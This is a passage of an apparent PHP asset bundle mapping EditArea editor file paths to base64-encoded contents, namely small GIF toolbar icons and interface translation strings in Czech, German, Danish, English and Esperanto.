8LqUPAOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UqhmFqbpzHV9hAE9n3hSJbeSa1sm5HUcXTTMDy2jeu63q0D3PlwDx0FAMgIBBgmk/J8LqWPQOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YyhmFqb5znV9hQF9n3hSJbeSa1sm5EUAHQTQTy2jeu63q0D3PlwDx0lEMgMBhgmk/J8LqUPgeBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+c6hmFqbJwDV9hgG9n3hSJbeSa1sm5FUEHRTUTy2jeu63q0D3PlwDx1FIMgQCBgmk/J8LqWPweBRhV6z2q0VF94iJ9pOBAA7',
  './AJAX-B/edit_area/images/redo.gif' => 'R0lGODlhFAAUAMMLAC1PknOj8D1y15e67152qFWK8brE1Dllto6s6E1/5GmU77zK6TdaoFd9v6m/6gAAACH5BAEAAA8ALAAAAAAUABQAAARW8MlJq704683xWs7SSY6DnIi4gclxNEqgCphTME3jxuCBDQmGBMFgxAK+C5AwMRACiltNOhkECgKAp5B8CFwMgBajSBhGE1sDPWkUHGxJVMX+xO94dgQAOw==',
  './AJAX-B/edit_area/images/reset_highlight.gif' => 'R0lGODlhFAAUAMMLAAICAsvT3l5wiqy0uTJKYvL09nKFopas0uLn8nKOsrLC2v79/tre5ISatYKSogAAACH5BAEAAA8ALAAAAAAUABQAAARV8MlJq7046803O0fSMN23nEESeMe5FEvQaOZZIMhiZPWLLw0BpnfLNRyEC/F3JAwuLRsT+YTiYLBm9dJQKAKIglYTMBhAg4azMxC4AfA4vEOv2++YCAA7',
  './AJAX-B/edit_area/images/save.gif' => 'R0lGODlhFAAUANQZAAICAra+xk5Yxubm9jI6UgpCpo6O5kZImsbW7npy1qae5lJSUnJ6lr6+/i06P1VVsfb29iJCcmJjzWJuhipCpkJKto6O9kI6ga6m/v3+/pau5lJacipKttbg+MbG2gAAACH5BAEAAB8ALAAAAAAUABQAAAWa4CeOZGmeaKqiTdtgmGLMRmKbrZXt/C48D1xD19tBBIRgCdMwFDOQASehJDETxWhnWh0pGlieFkGRdEWGhkQ86CAQBcnBlFYL7hwOJS6Yl+oYFhY1NhI/fiQJMBYbjY0TPxUXJoqCGwAOHR0TFRUHkyWVBhsODAMDDBQHFKCJgxwOAQEeHgsUt60jGmZADwe/F8EXESvFxsfGIQA7',
  './AJAX-B/edit_area/images/search.gif' => 'R0lGODlhFAAUAMMIACFAeZOlzVVvod/k8HmPsjZSjbvI4V+Atfn6/XSEqnyWxUVomCFGg6i1x8LW8gAAACH5BAEAAA8ALAAAAAAUABQAAARs8MlJq704681vIMvUgFuCMJOJZqNQFM/nwpiCGApqG8F6KYfZ4kBw+So2hOPAKBAQSqbF8OQJGKOBI3AANCqyFwPgnI1pE9uA5zsM1gq0pMptv3HyB10qccPze3Y8fBNFC2ITQTMAHY2OjxURADs=',
  './AJAX-B/edit_area/images/smooth_selection.gif' => 'R0lGODlhFAAUAMMKACMjE6mrXomZvTdPac7Ozs3Pl1pWPqq+wpKCYsLS7/T09GJykvHxcnaGpvv0tgAAACH5BAEAAA8ALAAAAAAUABQAAARb8MlJq7046837ZiAIhIxGMmMoCUJTBQAQoPH8tIcwUOE4wgyBIjFY7CawGEpUUAx1lZSPETA4nkdKUhYzNBNQy4l6IICzlVPAURiEN2sHFeBBIAwGumfP7/sxEQA7',
  './AJAX-B/edit_area/images/spacer.gif' => 'R0lGODlhAQABAJAAAAAAAAAAACH5BAEUAAAALAAAAAABAAEAAAICRAEAOw==',
  './AJAX-B/edit_area/images/statusbar_resize.gif' => 'R0lGODlhCwAUAJECAICAgP///////wAAACH5BAEAAAIALAAAAAALABQAAAIglI+py+0PowotAGbvBDplQSGfJXKgaYzoeY3sS5pq1xQAOw==',
  './AJAX-B/edit_area/images/undo.gif' => 'R0lGODlhFAAUAMMLADpdnpSs0D913LnF36e31l5+xl9+tavB7XKd7z9nulF/3c/X42KS6JSz8FKI8gAAACH5BAEAAA8ALAAAAAAUABQAAARc8MlJq7046831OuDSPUdjNmDWSCUiJImSXmjJwIUBOAeG/AhYQAJQrC4MBwNhGExiR4tC4EAwRJJY7yJ4wQCSRcLhHD0IAoZZUnAQzAuCo7AeOBRv8yGAXfv/ZhEAOw==',
  './AJAX-B/edit_area/langs/cs.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siY3MiXT17DQpuZXdfZG9jdW1lbnQ6ICJOb3bDvSBkb2t1bWVudCIsDQpzZWFyY2hfYnV0dG9uOiAiTmFqZGkgYSBuYWhyYcSPIiwNCnNlYXJjaF9jb21tYW5kOiAiSGxlZGVqIGRhbMWhw60gLyBvdGV2xZlpIHZ5aGxlZMOhdmFjw60gcG9sZSIsDQpzZWFyY2g6ICJIbGVkZWoiLA0KcmVwbGFjZTogIk5haHJhxI8iLA0KcmVwbGFjZV9jb21tYW5kOiAiTmFocmHEjyAvIG90ZXbFmWkgdnlobGVkw6F2YWPDrSBwb2xlIiwNCmZpbmRfbmV4dDogIk5hamRpIGRhbMWhw60iLA0KcmVwbGFjZV9hbGw6ICJOYWhyYcSPIHbFoWUiLA0KcmVnX2V4cDogInBsYXRuw6kgdsO9cmF6eSIsDQptYXRjaF9jYXNlOiAidnlob2Rub2NlbsOpIHbDvXJhenkiLA0Kbm90X2ZvdW5kOiAibmVuYWxlemVuw6kuIiwNCm9jY3VycmVuY2VfcmVwbGFjZWQ6ICJ2w71za3l0eSBuYWhyYXplbsOpLiIsDQpzZWFyY2hfZmllbGRfZW1wdHk6ICJQb2xlIHZ5aGxlZMOhdsOhbsOtIGplIHByw6F6ZG7DqSIsDQpyZXN0YXJ0X3NlYXJjaF9hdF9iZWdpbjogIkRvc2HFvmVuIGtvbmVjIHNvdWJvcnUsIHphxI3DrW7DoW0gb2QgemHEjcOhdGt1LiIsDQptb3ZlX3BvcHVwOiAiUMWZZXN1xYggdnlobGVkw6F2YWPDrSBva25vIiwNCmZvbnRfc2l6ZTogIi0tVmVsaWtvc3QgdGV4dHUtLSIsDQpnb190b19saW5lOiAiUMWZZWpkaSBuYSDFmcOhZGVrIiwNCmdvX3RvX2xpbmVfcHJvbXB0OiAiUMWZZWpkaSBuYSDFmcOhZGVrOiIsDQp1bmRvOiAia3JvayB6cMSbdCIsDQpyZWRvOiAiem5vdnUiLA0KY2hhbmdlX3Ntb290aF9zZWxlY3Rpb246ICJQb3ZvbGl0IG5lYm8gemFrw6F6YXQgbsSba3RlcsOpIHplIHpvYnJhemVuw71jaCBmdW5rY8OtICjDusSNZWxuxJtqxaHDrSB6b2JyYXplbsOtIHBvxb5hZHVqZSB2xJt0xaHDrSB6YXTDrcW+ZW7DrSBwcm9jZXNvcnUpIiwNCmhpZ2hsaWdodDogIlp2w71yYXrFiG92w6Fuw60gc3ludGF4ZSB6YXAuL3Z5cC4iLA0KcmVzZXRfaGlnaGxpZ2h0OiAiT2Jub3ZpdCB6dsO9cmF6bsSbbsOtICh2IHDFmcOtcGFkxJsgbmVzcm92bmFsb3N0w60pIiwNCmhlbHA6ICJPIHByb2dyYW11IiwNCnNhdmU6ICJVbG/Fvml0IiwNCmxvYWQ6ICJPdGV2xZnDrXQiLA0KbGluZV9hYmJyOiAixZguIiwNCmNoYXJfYWJicjogIlMuIiwNCnBvc2l0aW9uOiAiUG96aWNlIiwNCnRvdGFsOiAiQ2Vsa2VtIiwNCmNsb3NlX3BvcHVwOiAiWmF2xZnDrXQgb2tubyIsDQpzaG9ydGN1dHM6ICJaa3JhdGt5IiwNCmFkZF90YWI6ICJQxZlpZGF0IHRhYnVsb3bDoW7DrSB0ZXh0dSIsDQpyZW1vdmVfdGFiOiAiT2R0c3Jhbml0IHRhYnVsb3bDoW7DrSB0ZXh0dSIsDQphYm91dF9ub3RpY2U6ICJVcG96b3JuxJtuw60hIEZ1bmtjZSB6dsO9cmF6xYhvdsOhbsOtIHRleHR1IGplIGsgZGlzcG96aWNpIHBvdXplIHBybyBtYWzDvSB0ZXh0IiwNCnRvZ2dsZTogIlDFmWVwbm91dCBlZGl0b3IiLA0KYWNjZXNza2V5OiAiUMWZw61zdHVwb3bDoSBrbMOhdmVzYSIsDQp0YWI6ICJaw6Fsb8W+a2EiLA0Kc2hpZnQ6ICJTaGlmdCIsDQpjdHJsOiAiQ3RybCIsDQplc2M6ICJFc2MiLA0KcHJvY2Vzc2luZzogIlpwcmFjb3bDoXbDoW0gLi4uIiwNCmZ1bGxzY3JlZW46ICJDZWzDoSBvYnJhem92a2EiLA0Kc3ludGF4X3NlbGVjdGlvbjogIi0tdnliZXIgenbDvXJhesWIb3ZhxI0tLSIsDQpzeW50YXhfY3NzOiAiQ1NTIiwNCnN5bnRheF9odG1sOiAiSFRNTCIsDQpzeW50YXhfanM6ICJKYXZhc2NyaXB0IiwNCnN5bnRheF9waHA6ICJQaHAiLA0Kc3ludGF4X3B5dGhvbjogIlB5dGhvbiIsDQpzeW50YXhfdmI6ICJWaXN1YWwgQmFzaWMiLA0Kc3ludGF4X3htbDogIlhtbCIsDQpzeW50YXhfYzogIkMiLA0Kc3ludGF4X2NwcDogIkNQUCIsDQpzeW50YXhfYmFzaWM6ICJCYXNpYyIsDQpzeW50YXhfcGFzOiAiUGFzY2FsIiwNCnN5bnRheF9icmFpbmZ1Y2s6ICJCcmFpbmZ1Y2siLA0Kc3ludGF4X3NxbDogIlNRTCIsDQpzeW50YXhfcnVieTogIlJ1YnkiLA0Kc3ludGF4X3JvYm90c3R4dDogIlJvYm90cyB0eHQiLA0Kc3ludGF4X3RzcWw6ICJULVNRTCIsDQpzeW50YXhfcGVybDogIlBlcmwiLA0Kc3ludGF4X2NvbGRmdXNpb246ICJDb2xkZnVzaW9uIiwNCmNsb3NlX3RhYjogIkNsb3NlIGZpbGUiDQp9Ow0K',
  './AJAX-B/edit_area/langs/de.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siZGUiXT17DQpuZXdfZG9jdW1lbnQ6ICJOZXVlcyBEb2t1bWVudCIsDQpzZWFyY2hfYnV0dG9uOiAiU3VjaGVuIHVuZCBFcnNldHplbiIsDQpzZWFyY2hfY29tbWFuZDogIldlaXRlcnN1Y2hlbiAvICZvdW1sO2ZmbmUgU3VjaGZlbGQiLA0Kc2VhcmNoOiAiU3VjaGVuIiwNCnJlcGxhY2U6ICJFcnNldHplbiIsDQpyZXBsYWNlX2NvbW1hbmQ6ICJFcnNldHplbiAvICZvdW1sO2ZmbmUgU3VjaGZlbGQiLA0KZmluZF9uZXh0OiAiV2VpdGVyc3VjaGVuIiwNCnJlcGxhY2VfYWxsOiAiRXJzZXR6ZSBhbGxlIFRyZWZmZXIiLA0KcmVnX2V4cDogInJlZ3VsJmF1bWw7cmUgQXVzZHImdXVtbDtja2UiLA0KbWF0Y2hfY2FzZTogInBhc3N0IGF1ZiBkZW4gQmVncmlmZjxiciAvPiIsDQpub3RfZm91bmQ6ICJOaWNodCBnZWZ1bmRlbi4iLA0Kb2NjdXJyZW5jZV9yZXBsYWNlZDogIkRpZSBWb3Jrb21tZW4gd3VyZGVuIGVyc2V0enQuIiwNCnNlYXJjaF9maWVsZF9lbXB0eTogIkxlZXJlcyBTdWNoZmVsZCIsDQpyZXN0YXJ0X3NlYXJjaF9hdF9iZWdpbjogIkVuZGUgZGVzIHp1IGR1cmNoc3VjaGVuZGVuIEJlcmVpY2hlcyBlcnJlaWNodC4gRXMgd2lyZCBkaWUgU3VjaGUgdm9uIEFuZmFuZyBhbiBmb3J0Z2VzZXR6dC4iLCAvL2ZpbmQgYSBzaG9ydGVyIHRyYW5zbGF0aW9uDQptb3ZlX3BvcHVwOiAiU3VjaGZlbnN0ZXIgYmV3ZWdlbiIsDQpmb250X3NpemU6ICItLVNjaHJpZnRnciZvdW1sOyZzemxpZztlLS0iLA0KZ29fdG9fbGluZTogIkdlaGUgenUgWmVpbGUiLA0KZ29fdG9fbGluZV9wcm9tcHQ6ICJHZWhlIHp1IFplaWxlbm51bW1tZXI6IiwNCnVuZG86ICJSJnV1bWw7Y2tnJmF1bWw7bmdpZyIsDQpyZWRvOiAiV2llZGVyaGVyc3RlbGxlbiIsDQpjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbjogIkFrdGl2aWVyZS9EZWFrdGl2aWVyZSBlaW5pZ2UgRmVhdHVyZXMgKHdlbmlnZXIgQmlsZHNjaGlybW51dHp1bmcgYWJlciBtZWhyIENQVS1CZWxhc3R1bmcpIiwNCmhpZ2hsaWdodDogIlN5bnRheCBIaWdobGlnaHRpbmcgYW4tIHVuZCBhdXNzY2hhbHRlbiIsDQpyZXNldF9oaWdobGlnaHQ6ICJIaWdobGlnaHRpbmcgenVyJnV1bWw7Y2tzZXR6ZW4gKGZhbGxzIG1pdCBUZXh0IG5pY2h0IGtvbmZvcm0pIiwNCmhlbHA6ICJJbmZvIiwNCnNhdmU6ICJTcGVpY2hlcm4iLA0KbG9hZDogIiZPdW1sO2ZmbmVuIiwNCmxpbmVfYWJicjogIkxuIiwNCmNoYXJfYWJicjogIkNoIiwNCnBvc2l0aW9uOiAiUG9zaXRpb24iLA0KdG90YWw6ICJHZXNhbXQiLA0KY2xvc2VfcG9wdXA6ICJQb3B1cCBzY2hsaWUmc3psaWc7ZW4iLA0Kc2hvcnRjdXRzOiAiU2hvcnRjdXRzIiwNCmFkZF90YWI6ICJUYWIgenVtIFRleHQgaGluenVmJnV1bWw7Z2VuIiwNCnJlbW92ZV90YWI6ICJUYWIgYXVzIFRleHQgZW50ZmVybmVuIiwNCmFib3V0X25vdGljZTogIkJlbWVya3VuZzogU3ludGF4IEhpZ2hsaWdodGluZyBpc3QgbnVyIGYmdXVtbDtyIGt1cnplIFRleHRlIiwNCnRvZ2dsZTogIkVkaXRvciBhbi0gdW5kIGF1c3NjaGFsdGVuIiwNCmFjY2Vzc2tleTogIkFjY2Vzc2tleSIsDQp0YWI6ICJUYWIiLA0Kc2hpZnQ6ICJTaGlmdCIsDQpjdHJsOiAiQ3RybCIsDQplc2M6ICJFc2MiLA0KcHJvY2Vzc2luZzogIkluIEJlYXJiZWl0dW5nLi4uIiwNCmZ1bGxzY3JlZW46ICJGdWxsLVNjcmVlbiIsDQpzeW50YXhfc2VsZWN0aW9uOiAiLS1TeW50YXgtLSIsDQpzeW50YXhfY3NzOiAiQ1NTIiwNCnN5bnRheF9odG1sOiAiSFRNTCIsDQpzeW50YXhfanM6ICJKYXZhc2NyaXB0IiwNCnN5bnRheF9waHA6ICJQaHAiLA0Kc3ludGF4X3B5dGhvbjogIlB5dGhvbiIsDQpzeW50YXhfdmI6ICJWaXN1YWwgQmFzaWMiLA0Kc3ludGF4X3htbDogIlhtbCIsDQpzeW50YXhfYzogIkMiLA0Kc3ludGF4X2NwcDogIkNQUCIsDQpzeW50YXhfYmFzaWM6ICJCYXNpYyIsDQpzeW50YXhfcGFzOiAiUGFzY2FsIiwNCnN5bnRheF9icmFpbmZ1Y2s6ICJCcmFpbmZ1Y2siLA0Kc3ludGF4X3NxbDogIlNRTCIsDQpzeW50YXhfcnVieTogIlJ1YnkiLA0Kc3ludGF4X3JvYm90c3R4dDogIlJvYm90cyB0eHQiLA0Kc3ludGF4X3RzcWw6ICJULVNRTCIsDQpzeW50YXhfcGVybDogIlBlcmwiLA0Kc3ludGF4X2NvbGRmdXNpb246ICJDb2xkZnVzaW9uIiwNCmNsb3NlX3RhYjogIkNsb3NlIGZpbGUiDQp9Ow0K',
  './AJAX-B/edit_area/langs/dk.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siZGsiXT17DQpuZXdfZG9jdW1lbnQ6ICJueXQgdG9tdCBkb2t1bWVudCIsDQpzZWFyY2hfYnV0dG9uOiAicyZvc2xhc2g7ZyBvZyBlcnN0YXQiLA0Kc2VhcmNoX2NvbW1hbmQ6ICJmaW5kIG4mYWVsaWc7c3RlIC8gJmFyaW5nO2JlbiBzJm9zbGFzaDtnZWZlbHQiLA0Kc2VhcmNoOiAicyZvc2xhc2g7ZyIsDQpyZXBsYWNlOiAiZXJzdGF0IiwNCnJlcGxhY2VfY29tbWFuZDogImVyc3RhdCAvICZhcmluZztiZW4gcyZvc2xhc2g7Z2VmZWx0IiwNCmZpbmRfbmV4dDogImZpbmQgbiZhZWxpZztzdGUiLA0KcmVwbGFjZV9hbGw6ICJlcnN0YXQgYWxsZSIsDQpyZWdfZXhwOiAicmVndWxhciBleHByZXNzaW9ucyIsDQptYXRjaF9jYXNlOiAiZm9yc2tlbCBww6Ugc3RvcmUvc20mYXJpbmc7IGJvZ3N0YXZlcjxiciAvPiIsDQpub3RfZm91bmQ6ICJub3QgZm91bmQuIiwNCm9jY3VycmVuY2VfcmVwbGFjZWQ6ICJvY2N1cmVuY2VzIHJlcGxhY2VkLiIsDQpzZWFyY2hfZmllbGRfZW1wdHk6ICJTZWFyY2ggZmllbGQgZW1wdHkiLA0KcmVzdGFydF9zZWFyY2hfYXRfYmVnaW46ICJFbmQgb2YgYXJlYSByZWFjaGVkLiBSZXN0YXJ0IGF0IGJlZ2luLiIsDQptb3ZlX3BvcHVwOiAiZmx5dCBzw7hnZXBvcHVwIiwNCmZvbnRfc2l6ZTogIi0tU2tyaWZ0c3TDuHJyZWxzZS0tIiwNCmdvX3RvX2xpbmU6ICJnJmFyaW5nOyB0aWwgbGluaWUiLA0KZ29fdG9fbGluZV9wcm9tcHQ6ICJnw6UgdGlsIGxpbmllbnVtbWVyOiIsDQp1bmRvOiAiZm9ydHJ5ZCIsDQpyZWRvOiAiZ2VudGFnIiwNCmNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uOiAic2wmYXJpbmc7IGRpc3BsYXkgZnVua3Rpb25lciB0aWwvZnJhIChzbWFydGVyZSBkaXNwbGF5IG1lbiBtZXJlIENQVSBrciZhZWxpZzt2ZW5kZSkiLA0KaGlnaGxpZ2h0OiAic2wmYXJpbmc7IHN5bnRheCBoaWdobGlnaHQgdGlsL2ZyYSIsDQpyZXNldF9oaWdobGlnaHQ6ICJudWxzdGlsIGhpZ2hsaWdodCAoaHZpcyBkZW4gZXIgZGVzeW5rcm9uaXNlcmV0IGZyYSB0ZWtzdGVuKSIsDQpoZWxwOiAib20iLA0Kc2F2ZTogImdlbSIsDQpsb2FkOiAiaGVudCIsDQpsaW5lX2FiYnI6ICJMbiIsDQpjaGFyX2FiYnI6ICJDaCIsDQpwb3NpdGlvbjogIlBvc2l0aW9uIiwNCnRvdGFsOiAiVG90YWwiLA0KY2xvc2VfcG9wdXA6ICJsdWsgcG9wdXAiLA0Kc2hvcnRjdXRzOiAiR2VudmVqZSIsDQphZGRfdGFiOiAidGlsZiZvc2xhc2g7aiB0YWJ1bGF0aW9uIHRpbCB0ZWtzdCIsDQpyZW1vdmVfdGFiOiAiZmplcm4gdGFidWxhdGlvbiBmcmEgdGVrc3QiLA0KYWJvdXRfbm90aWNlOiAiSHVzazogc3ludGF4IGhpZ2hsaWdodCBmdW5rdGlvbmVuIGImb3NsYXNoO3Iga3VuIGJydWdlIHRpbCBzbSZhcmluZzsgdGVrc3RlciIsDQp0b2dnbGU6ICJTbCZhcmluZzsgZWRpdG9yIHRpbCAvIGZyYSIsDQphY2Nlc3NrZXk6ICJBY2Nlc3NrZXkiLA0KdGFiOiAiVGFiIiwNCnNoaWZ0OiAiU2tpZnQiLA0KY3RybDogIkN0cmwiLA0KZXNjOiAiRXNjIiwNCnByb2Nlc3Npbmc6ICJQcm9jZXNzaW5nLi4uIiwNCmZ1bGxzY3JlZW46ICJmdWxsc2NyZWVuIiwNCnN5bnRheF9zZWxlY3Rpb246ICItLVN5bnRheC0tIiwNCnN5bnRheF9jc3M6ICJDU1MiLA0Kc3ludGF4X2h0bWw6ICJIVE1MIiwNCnN5bnRheF9qczogIkphdmFzY3JpcHQiLA0Kc3ludGF4X3BocDogIlBocCIsDQpzeW50YXhfcHl0aG9uOiAiUHl0aG9uIiwNCnN5bnRheF92YjogIlZpc3VhbCBCYXNpYyIsDQpzeW50YXhfeG1sOiAiWG1sIiwNCnN5bnRheF9jOiAiQyIsDQpzeW50YXhfY3BwOiAiQ1BQIiwNCnN5bnRheF9iYXNpYzogIkJhc2ljIiwNCnN5bnRheF9wYXM6ICJQYXNjYWwiLA0Kc3ludGF4X2JyYWluZnVjazogIkJyYWluZnVjayIsDQpzeW50YXhfc3FsOiAiU1FMIiwNCnN5bnRheF9ydWJ5OiAiUnVieSIsDQpzeW50YXhfcm9ib3RzdHh0OiAiUm9ib3RzIHR4dCIsDQpzeW50YXhfdHNxbDogIlQtU1FMIiwNCnN5bnRheF9wZXJsOiAiUGVybCIsDQpzeW50YXhfY29sZGZ1c2lvbjogIkNvbGRmdXNpb24iLA0KY2xvc2VfdGFiOiAiQ2xvc2UgZmlsZSINCn07DQo=',
  './AJAX-B/edit_area/langs/en.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siZW4iXT17DQpuZXdfZG9jdW1lbnQ6ICJuZXcgZW1wdHkgZG9jdW1lbnQiLA0Kc2VhcmNoX2J1dHRvbjogInNlYXJjaCBhbmQgcmVwbGFjZSIsDQpzZWFyY2hfY29tbWFuZDogInNlYXJjaCBuZXh0IC8gb3BlbiBzZWFyY2ggYXJlYSIsDQpzZWFyY2g6ICJzZWFyY2giLA0KcmVwbGFjZTogInJlcGxhY2UiLA0KcmVwbGFjZV9jb21tYW5kOiAicmVwbGFjZSAvIG9wZW4gc2VhcmNoIGFyZWEiLA0KZmluZF9uZXh0OiAiZmluZCBuZXh0IiwNCnJlcGxhY2VfYWxsOiAicmVwbGFjZSBhbGwiLA0KcmVnX2V4cDogInJlZ3VsYXIgZXhwcmVzc2lvbnMiLA0KbWF0Y2hfY2FzZTogIm1hdGNoIGNhc2UiLA0Kbm90X2ZvdW5kOiAibm90IGZvdW5kLiIsDQpvY2N1cnJlbmNlX3JlcGxhY2VkOiAib2NjdXJlbmNlcyByZXBsYWNlZC4iLA0Kc2VhcmNoX2ZpZWxkX2VtcHR5OiAiU2VhcmNoIGZpZWxkIGVtcHR5IiwNCnJlc3RhcnRfc2VhcmNoX2F0X2JlZ2luOiAiRW5kIG9mIGFyZWEgcmVhY2hlZC4gUmVzdGFydCBhdCBiZWdpbi4iLA0KbW92ZV9wb3B1cDogIm1vdmUgc2VhcmNoIHBvcHVwIiwNCmZvbnRfc2l6ZTogIi0tRm9udCBzaXplLS0iLA0KZ29fdG9fbGluZTogImdvIHRvIGxpbmUiLA0KZ29fdG9fbGluZV9wcm9tcHQ6ICJnbyB0byBsaW5lIG51bWJlcjoiLA0KdW5kbzogInVuZG8iLA0KcmVkbzogInJlZG8iLA0KY2hhbmdlX3Ntb290aF9zZWxlY3Rpb246ICJlbmFibGUvZGlzYWJsZSBzb21lIGRpc3BsYXkgZmVhdHVyZXMgKHNtYXJ0ZXIgZGlzcGxheSBidXQgbW9yZSBDUFUgY2hhcmdlKSIsDQpoaWdobGlnaHQ6ICJ0b2dnbGUgc3ludGF4IGhpZ2hsaWdodCBvbi9vZmYiLA0KcmVzZXRfaGlnaGxpZ2h0OiAicmVzZXQgaGlnaGxpZ2h0IChpZiBkZXN5bmNyb25pemVkIGZyb20gdGV4dCkiLA0KaGVscDogImFib3V0IiwNCnNhdmU6ICJzYXZlIiwNCmxvYWQ6ICJsb2FkIiwNCmxpbmVfYWJicjogIkxuIiwNCmNoYXJfYWJicjogIkNoIiwNCnBvc2l0aW9uOiAiUG9zaXRpb24iLA0KdG90YWw6ICJUb3RhbCIsDQpjbG9zZV9wb3B1cDogImNsb3NlIHBvcHVwIiwNCnNob3J0Y3V0czogIlNob3J0Y3V0cyIsDQphZGRfdGFiOiAiYWRkIHRhYnVsYXRpb24gdG8gdGV4dCIsDQpyZW1vdmVfdGFiOiAicmVtb3ZlIHRhYnVsYXRpb24gdG8gdGV4dCIsDQphYm91dF9ub3RpY2U6ICJOb3RpY2U6IHN5bnRheCBoaWdobGlnaHQgZnVuY3Rpb24gaXMgb25seSBmb3Igc21hbGwgdGV4dCIsDQp0b2dnbGU6ICJUb2dnbGUgZWRpdG9yIiwNCmFjY2Vzc2tleTogIkFjY2Vzc2tleSIsDQp0YWI6ICJUYWIiLA0Kc2hpZnQ6ICJTaGlmdCIsDQpjdHJsOiAiQ3RybCIsDQplc2M6ICJFc2MiLA0KcHJvY2Vzc2luZzogIlByb2Nlc3NpbmcuLi4iLA0KZnVsbHNjcmVlbjogImZ1bGxzY3JlZW4iLA0Kc3ludGF4X3NlbGVjdGlvbjogIi0tU3ludGF4LS0iLA0Kc3ludGF4X2NzczogIkNTUyIsDQpzeW50YXhfaHRtbDogIkhUTUwiLA0Kc3ludGF4X2pzOiAiSmF2YXNjcmlwdCIsDQpzeW50YXhfcGhwOiAiUGhwIiwNCnN5bnRheF9weXRob246ICJQeXRob24iLA0Kc3ludGF4X3ZiOiAiVmlzdWFsIEJhc2ljIiwNCnN5bnRheF94bWw6ICJYbWwiLA0Kc3ludGF4X2M6ICJDIiwNCnN5bnRheF9jcHA6ICJDUFAiLA0Kc3ludGF4X2Jhc2ljOiAiQmFzaWMiLA0Kc3ludGF4X3BhczogIlBhc2NhbCIsDQpzeW50YXhfYnJhaW5mdWNrOiAiQnJhaW5mdWNrIiwNCnN5bnRheF9zcWw6ICJTUUwiLA0Kc3ludGF4X3J1Ynk6ICJSdWJ5IiwNCnN5bnRheF9yb2JvdHN0eHQ6ICJSb2JvdHMgdHh0IiwNCnN5bnRheF90c3FsOiAiVC1TUUwiLA0Kc3ludGF4X3Blcmw6ICJQZXJsIiwNCnN5bnRheF9jb2xkZnVzaW9uOiAiQ29sZGZ1c2lvbiIsDQpjbG9zZV90YWI6ICJDbG9zZSBmaWxlIg0KfTsNCg==',
  './AJAX-B/edit_area/langs/eo.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siZW8iXT17DQpuZXdfZG9jdW1lbnQ6ICJub3ZhIGRva3VtZW50byAodmFraWdhcyBsYSBlbmhhdm9uKSIsDQpzZWFyY2hfYnV0dG9uOiAic2VyJiMyNjU7aSAvIGFuc3RhdGEmIzM2NTtpZ2kiLA0Kc2VhcmNoX2NvbW1hbmQ6ICJwbHVzZXImIzI2NTtpIC8gbWFsZmVybWkgbGEgc2VyJiMyNjU7by1mZW5lc3Ryb24iLA0Kc2VhcmNoOiAic2VyJiMyNjU7aSIsDQpyZXBsYWNlOiAiYW5zdGF0YSYjMzY1O2lnaSIsDQpyZXBsYWNlX2NvbW1hbmQ6ICJhbnN0YXRhJiMzNjU7aWdpIC8gbWFsZmVybWkgbGEgc2VyJiMyNjU7by1mZW5lc3Ryb24iLA0KZmluZF9uZXh0OiAic2VyJiMyNjU7aSIsDQpyZXBsYWNlX2FsbDogImFuc3RhdGEmIzM2NTtpZ2kgJiMyNjU7aW9uIiwNCnJlZ19leHA6ICJyZWd1bGEgZXNwcmltbyIsDQptYXRjaF9jYXNlOiAicmVzcGVrdGkgbGEgdXNrbGVjb24iLA0Kbm90X2ZvdW5kOiAibmUgdHJvdml0YS4iLA0Kb2NjdXJyZW5jZV9yZXBsYWNlZDogImFuc3RhdGEmIzM2NTtpZ29qIHBsZW51bWl0YWouIiwNCnNlYXJjaF9maWVsZF9lbXB0eTogIkxhIGthbXBvIGVzdGFzIG1hbHBsZW5hLiIsDQpyZXN0YXJ0X3NlYXJjaF9hdF9iZWdpbjogIkZpbm8gZGUgdGVrc3RvICYjMjg1O2lzcmlyYXRhLCAmIzI2NTt1IGRhJiMzNjU7cmlnaSBlbCBsYSBrb21lbmNvPyIsDQptb3ZlX3BvcHVwOiAibW92aSBsYSBzZXImIzI2NTtvLWZlbmVzdHJvbiIsDQpmb250X3NpemU6ICItLVRpcGFyYSBncmFuZG8tLSIsDQpnb190b19saW5lOiAiaXJpIGFsIGxhIGxpbmlvIiwNCmdvX3RvX2xpbmVfcHJvbXB0OiAiaXJpIGFsIGxhIGxpbmlvIG51bWVybzoiLA0KdW5kbzogInJlemlnbmkiLA0KcmVkbzogInJlZmFyaSIsDQpjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbjogImVibGlnaS9tYWxlYmxpZ2kgbGEgZnVua2Npb2ogZGUgdmlkaWdvIChwbGkgYm9uYSB2aWRpZ28sIHNlZCBwbGkgZGEgJiMzNDk7YXImIzI4NTtvIGRlIGxhICYjMjY1O2Vmb3JnYW5vKSIsDQpoaWdobGlnaHQ6ICJlYmxpZ2kvbWFsZWJsaWdpIGxhIHNpbnRha3NhbiBrb2xvcmlnb24iLA0KcmVzZXRfaGlnaGxpZ2h0OiAicmVwcmF2YWxvcml6aSBsYSBzaW50YWtzYW4ga29sb3JpZ29uIChzZSBtYWxzaW5rcm9uaWdvbiBkZSBsYSB0ZWtzdG8pIiwNCmhlbHA6ICJwcmkiLA0Kc2F2ZTogInJlZ2lzdHJpIiwNCmxvYWQ6ICImIzM0OTthciYjMjg1O2kiLA0KbGluZV9hYmJyOiAiTG4iLA0KY2hhcl9hYmJyOiAiU2ciLA0KcG9zaXRpb246ICJQb3ppY2lvIiwNCnRvdGFsOiAiU3VtbyIsDQpjbG9zZV9wb3B1cDogImZlcm1pIGxhICYjMzQ5O3BydWNmZW5lc3Ryb24iLA0Kc2hvcnRjdXRzOiAiRnVsbW9rbGF2byIsDQphZGRfdGFiOiAiYWxkb25pIHRhYm9uIGVuIGxhIHRla3N0b24iLA0KcmVtb3ZlX3RhYjogImZvcmlnaSB0YWJsb24gZWwgbGEgdGVrc3RvIiwNCmFib3V0X25vdGljZTogIk5vdG86IGxhIHNpbnRha3NhIGtvbG9yaWdvIGVzdGFzIG51ciBwcmlrYWxrdWxpdGEgcG9y